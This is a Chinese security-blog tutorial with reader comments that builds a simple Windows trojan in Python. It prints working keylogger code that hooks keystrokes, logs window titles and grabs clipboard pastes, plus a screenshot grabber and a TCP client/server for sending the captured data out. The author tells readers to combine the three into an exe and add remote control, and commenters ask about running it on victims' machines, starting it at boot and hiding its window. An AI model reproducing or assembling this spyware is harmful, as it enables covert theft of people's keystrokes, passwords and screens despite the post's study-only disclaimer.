Python编写简易木马程序

light 2015-01-26 10:07:00

0x00 准备


文章内容仅供学习研究、切勿用于非法用途!

这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码,安装配置JEDI插件可以参照这里: http://drops.wooyun.org/tips/4413

首先准备好我们需要的依赖库,python hook和pythoncom。

下载安装python hook

下载安装pythoncom模块:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

如果觉得麻烦,你可以直接使用集成了所有我们所需要的python库的商业版Activepython(我们可以用他的免费版):

http://www.activestate.com/activepython

0x01 键盘记录器


说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。

代码部分:

# -*- coding: utf-8 -*-  
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

# 
def get_current_process():

    # 获取最上层的窗口句柄
    hwnd = user32.GetForegroundWindow()

    # 获取进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))

    # 将进程ID存入变量中
    process_id = "%d" % pid.value

    # 申请内存
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

    # 读取窗口标题
    windows_title = create_string_buffer("\x00"*512)
    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

    # 打印
    print 
    print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    print 

    # 关闭handles
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

# 定义击键监听事件函数
def KeyStroke(event):

    global current_window

    # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    if event.WindowName != current_window:
        current_window = event.WindowName
        # 函数调用
        get_current_process()

    # 检测击键是否常规按键(非组合键等)
    if event.Ascii > 32 and event.Ascii <127:
        print chr(event.Ascii),
    else:
        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE]-%s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    # 循环监听下一个击键事件
    return True

# 创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()

【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:

然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录:

切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。

0x02 看看你在干什么:编写一个screenshotter


截屏实现起来更简单,直接调用几个gui相关的api即可,我们直接看代码:

# -*- coding: utf-8 -*-  
import win32gui
import win32ui
import win32con
import win32api

# 获取桌面
hdesktop = win32gui.GetDesktopWindow()

# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')

# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

看看效果如何:

0x03 综合运用:完成一个简易木马


无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。

编写一个简单的TCPclient

# -*- coding: utf-8 -*- 
import socket

# 目标地址IP/URL及端口
target_host = "127.0.0.1"
target_port = 9999

# 创建一个socket对象
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# 连接主机
client.connect((target_host,target_port))

# 发送数据
client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")

# 接收响应
response = client.recv(4096)

print response

编写一个简单的TCPserver

# -*- coding: utf-8 -*- 
import socket
import threading

# 监听的IP及端口
bind_ip = "127.0.0.1"
bind_port = 9999

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print "[*] Listening on %s:%d" % (bind_ip,bind_port)

def handle_client(client_socket):

    request = client_socket.recv(1024)

    print "[*] Received:%s" % request

    client_socket.send("ok!")

    client_socket.close()

while True:

    client,addr = server.accept()

    print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])

    client_handler = threading.Thread(target=handle_client,args=(client,))

    client_handler.start()

开启服务端监听:

客户端执行:

服务端接收到客户端的请求并作出响应:

0x04 结语


最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥,加上远程控制功能。Py2exe用法可以参考这里:

http://www.py2exe.org/index.cgi/Tutorial

Enjoy coding~

参考文档:

《Black Hat Python》 https://www.google.com https://www.python.org/ http://www.py2exe.org/

评论

W

Wens0n 2015-01-26 10:40:41

乌云音乐家。前排广告出售!

园长 2015-01-26 10:46:16

关键是图片传输压缩算法

L

light 2015-01-26 10:50:58

哇 我的偶像来了,快签名快签名

泳少 2015-01-26 10:51:52

python真强大~

C

ccSec 2015-01-26 11:31:31

顶乌云音乐家

路人甲 2015-01-26 12:29:38

挺好的,学习了

phith0n 2015-01-26 12:38:22

是为一个python win32编程的好例子~

路人甲 2015-01-26 13:49:23

一个截图6M,确实要压缩才行。。。求高手

H

hell0w0rld 2015-01-26 14:58:05

俩问题
1,需要编译么? 不编译的话肉鸡上未必有这模块,当然可以自动安装
2,编译的话 会不会很大

P

Power 2015-01-26 16:06:59

有意思.

D

Demon 2015-01-26 17:26:38

对不起,我黑了你的电吉他,依班娜的。

L

light 2015-01-27 11:31:27

python脚本写完就可以直接运行,不需要人工编译

L

light 2015-01-27 11:32:01

Gibson :D

路人甲 2015-01-27 15:40:36

大黑阔你能干点有意义的事情么

Z

ziwen 2015-01-29 03:38:16

才知道你也玩Python

C

Coyote 2015-01-29 11:43:28

1. 需要编译
2. 编译完了会很大, 里面有相关库的DLL文件, 而且有一大堆东西虽然不知道都是些什么, 目测这样的木马用处不会很大(当然有大牛出来实力打脸我也办法)
当然除非别人很相信你, 然后点击你提供的exe, 当然这个exe假如你没有处理好的, 点开之后就是一个大黑框, 上面会有你的debug信息, 所以你还要把exe在代码里面fork为daemon进程

毛猴 2015-01-29 13:49:37

写的好 赞

M

malayke 2015-01-29 15:40:02

顶楼主,改天再写写摄像头拍照呗!

S

suolong 2015-01-29 16:57:35

有道理,编译后的exe文件基本上无法达到木马或者远控的标准。有例子就拿sqlmap.exe版本就能看出

_Thorns 2015-01-30 02:04:04

首席音乐家

路人甲 2015-01-30 14:58:49

the miusc-

A

answer 2015-02-01 08:21:09

如果对方 没有python环境 怎么运行。。。。

L

liyang 2015-02-02 12:15:44

python 写这东西还是有点蛋疼,虽然可以打包 exe,但是有些机器上还是不好使。而且很难进行代码混淆。这些木马功能,晚上随便找个 c++的源码都能实现~

C

cf_hb 2015-02-10 22:34:11

厉害,一定要去学习一个!

路人甲 2015-02-10 23:42:12

对于我这种菜鸟,对于GRAY HAT PYTHON和BLACK HAT PYTHON里面强行python的代码,真的不知道作用在哪。。求大神啪啪打脸。不过思路还不错。。看GRAY HAT PYTHON 都是看思路用c++实现。。。

G

gainover 2015-02-10 23:51:54

楼主是妹子。

L

light 2015-03-09 20:07:44

大牛莫谦虚,我就是不会c++才玩Python的。。

M

Mr.xt 2015-03-15 20:38:37

我试着学习分析你写的那个keylogger简易小木马,但是编译运行后报错。似乎是调用的问题,请问怎么解决(/ □ \)python入门者求教。。
Traceback (most recent call last):
File "H:/PycharmProjects/Script/example.py", line 53, in <module>
opener = urllib2.build_opener(httpHandler, httpsHandler, cookie, urllib2.HTTPHandler)
File "F:\Python27\lib\urllib2.py", line 490, in build_opener
opener.add_handler(h)
File "F:\Python27\lib\urllib2.py", line 326, in add_handler
type(handler))
TypeError: expected BaseHandler instance, got <type 'instance'>

M

Mr.xt 2015-03-15 21:26:46

好吧。。错了,以下才是错误。
Traceback (most recent call last):
File "H:/PycharmProjects/Script/Keylogger.py", line 4, in <module>
import pyHook
File "F:\Python27\lib\site-packages\pyHook\__init__.py", line 1, in <module>
from HookManager import *
File "F:\Python27\lib\site-packages\pyHook\HookManager.py", line 1, in <module>
import cpyHook
File "F:\Python27\lib\site-packages\pyHook\cpyHook.py", line 7, in <module>
import _cpyHook
ImportError: DLL load failed: %1 ������Ч�� Win32 Ӧ�ó���
Process finished with exit code 1
我明明已经成功安装了所需库,包括pyhook

路人甲 2015-03-16 14:11:31

mark一下学习

路人甲 2015-10-24 20:52:25

@answer 打包exe

路人甲 2015-10-30 13:53:04

以下是py2exe的官网译本
http://blog.csdn.net/puma004/article/details/40742953

1

123 2015-11-12 20:58:47

大神,怎么把这三个模块结合起来,求指教

路人甲 2015-12-17 12:41:26

大牛还请教一下如果结合这三个模块?是用三个脚本做扩展还是代码都在一个脚本里?

路人甲 2016-01-08 22:53:28

怎么不用github指挥中心呢

路人甲 2016-01-08 22:56:02

书我基本也看了,你拿前几章做的那么个简单通讯来做第八章的这个也太糟蹋第七章的github指挥中心了吧,我正愁没人和我探讨一下这个书呢,qq405947712,楼主有意向的话可以加我,本人也是新手

路人甲 2016-03-29 00:41:01

关机后怎么自启动?

路人甲 2016-04-22 19:46:20

@geek_he 有没有64位的程序啊

Mark 2016-05-20 17:52:20

这完完全全就是python黑帽子的代码啊。。。。。。。

L

light

精华漏洞数:36 | WooYun认证√ 艺术系教授 | WooYun认证√ 首席CISSP

twitter weibo github wechat

随机分类

Android 文章:89 篇
Web安全 文章:248 篇
运维安全 文章:62 篇
木马与病毒 文章:125 篇
APT 文章:6 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录